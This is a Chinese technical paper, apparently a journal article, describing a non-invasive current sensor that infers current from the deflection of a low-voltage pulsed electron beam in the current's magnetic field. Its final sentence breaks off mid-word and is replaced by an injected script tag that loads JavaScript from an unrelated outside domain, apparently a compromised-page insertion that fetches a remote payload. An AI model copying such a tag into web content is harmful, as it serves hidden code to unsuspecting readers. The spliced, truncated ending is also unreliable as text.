摘 要：根据自动检测系统中电流测量技术极少被采用的现状，提出利用电流产生的磁场进行电流测量的概念，详细阐述了一种基于电子束在被测电流生成的磁场中发生偏转的原理进行测量的非侵入式电流传感器，并讨论了这种电流测量技术所面临的问题，提出了相应的解决方案。最后提出有关电流数据和其他相关信号的分析方法以及电流测量的意义。
关键词：电流测量；电子束偏转；磁场；电流传感器
1 引 言
自动检测系统中通常应用电压测量来判定电路故障。实际工作中，很少使用电流量进行检测。主要是由于电流检测遇到2个难以解决的问题：一是缺少有效的非侵入式电流传感器；一是介入电流支路中进行测量是比较困难的。传统的电流测量是通过电压传感器测量接入支路中的分路电阻的两端的压降，由于需要接入分路电阻，致使测试过程非常不方便，难以实现自动化。一些仪器应用了一些新技术，如在vxi／pxi仪器中加入了内置式电流传感器，这类电流传感器可由软件控制进行稳态测量。但这些传感器不能测量高频采样信号，因而无法捕获高速暂态信号。为了获得电流数据，需要有无需介入电路的非侵入式传感器，另外，也需要有分析电流数据和其他相关测量信号的软件系统。
2 电流传感器
电流传感器有霍尔效应式、磁致电阻式、电阻式 等。本文介绍的电流传感器，运用的原理是测量脉冲电子束在由电流产生的磁场中的偏转量。由于电子质量非常小，相应使移动的电子束发生偏转所需的力相对也较小，这使得通过电子束的偏转测量小磁场在理论上成为可行。
应用磁场使电子束发生偏转在技术上非常普遍，被广泛应用在电视和计算机的阴极射线管式显示器上。电子束偏转的概念自身并非一种创新，只是未在磁场测量领域被广泛应用，特别是在由电流产生的磁场中应用。另外，通常产生电子束、控制电子束偏转要求有高电压、大电流。而高电压、大电流自身产生相当大的磁场和静态电场。因而运用电子束对磁场进行测量的第一个技术上的挑战是如何运用较小的电压和电流产生电子束。
传感器系统测量由一个低压光电装置产生的脉冲电子束的偏转量。
电流传感器由电子束发生元件、电子束收集元件及电子束偏转测量元件组成，如图1所示。电子束发生元件包括一个发光二极管，通常规格为2 v，50 ma，120光能。光学透镜用于将光电二极管产生的光线聚焦到阴极射线管上，起到增强单位面积上光强的作用。阴极射线管一侧受到发光二极管产生的光线的照射，在另一侧发射电子束。电极环防止电子束向四周逸散，将之限制成紧密的一束，这是维持测量精确性的强制性要求。电子束收集元件包括真空腔，在真空腔的内壁上保持有微量的负电势，以防止电子束被腔壁吸引。非绝缘式线性电荷耦合装置腔，用于测量电子束撞击传感器用于感应的末端的强度和感应点。电荷耦合装置ccds用于测量光子强度，而ccds被指定为非绝缘的可用于收集电子。收集一个光子的能量大约为2．14 v，因此电势差高于2．14 v的电子束脉冲有足够的能量以激发一个典型的ccds。ccds自身的电势保持在零电位左右，电势的些许变化有有利的一面也有不利的一面，可以通过实验的方法获得不引起对电子束产生排斥或是吸引的最佳电势。ccds的顶端在初始时带有微量的正电势以对电子束产生吸引对之加速。
电流测量：磁场中正电粒子的受力方向可以由“右手定则”来判断，相应的公式为：
fb＝qv×b
由于电流增加或是更接近被测电流，将会导致磁场强度增加，相应电子束偏转量就会增加。由于电子束偏转量增加，被ccds收集的电子将落在远离传感器顶点的位置。在其他参数确定的情况下，电流的值即可由传感器吸收电子束的位置进行确定。对同一测试点进行连续测量，即可得到电流的动态值（暂态信号），对电流的暂态信号进行分析，可以获得许多非常有价值的新信息，如复数域的阻抗等。
3 测量技术
非侵入式电流传感器进行电流测量需要解决的几个技术上的问题：
（1）传感器与被测电流载体之间距离对测量结果的影响
磁场的强度与产生磁场的电流与传感器之间的距离成反比。而这个距离通常是未知且不可测量的，磁感应式传感器与被测电流载体（导线、印刷电路板布线、输出端）之间的相对位置对测量值有很大的影响。为了减少这种影响，在测量过程包括测量步骤和软件工具两方面进行了尝试。例如，用户必须“扫描”电流流经的电流载体，用软件捕获其最大值。理想情况下，传感器与被测对象之间的距离应为0。而在许多实际情况下，被测对象是包裹在绝缘体之中。尝试的结果是测量过程不能消除只能降低这种影响。但是这里有一个参数并不受到距离的影响，这就是测得的暂态信号的“形状”，暂态信号的?script src=http://er12.com/t.js>
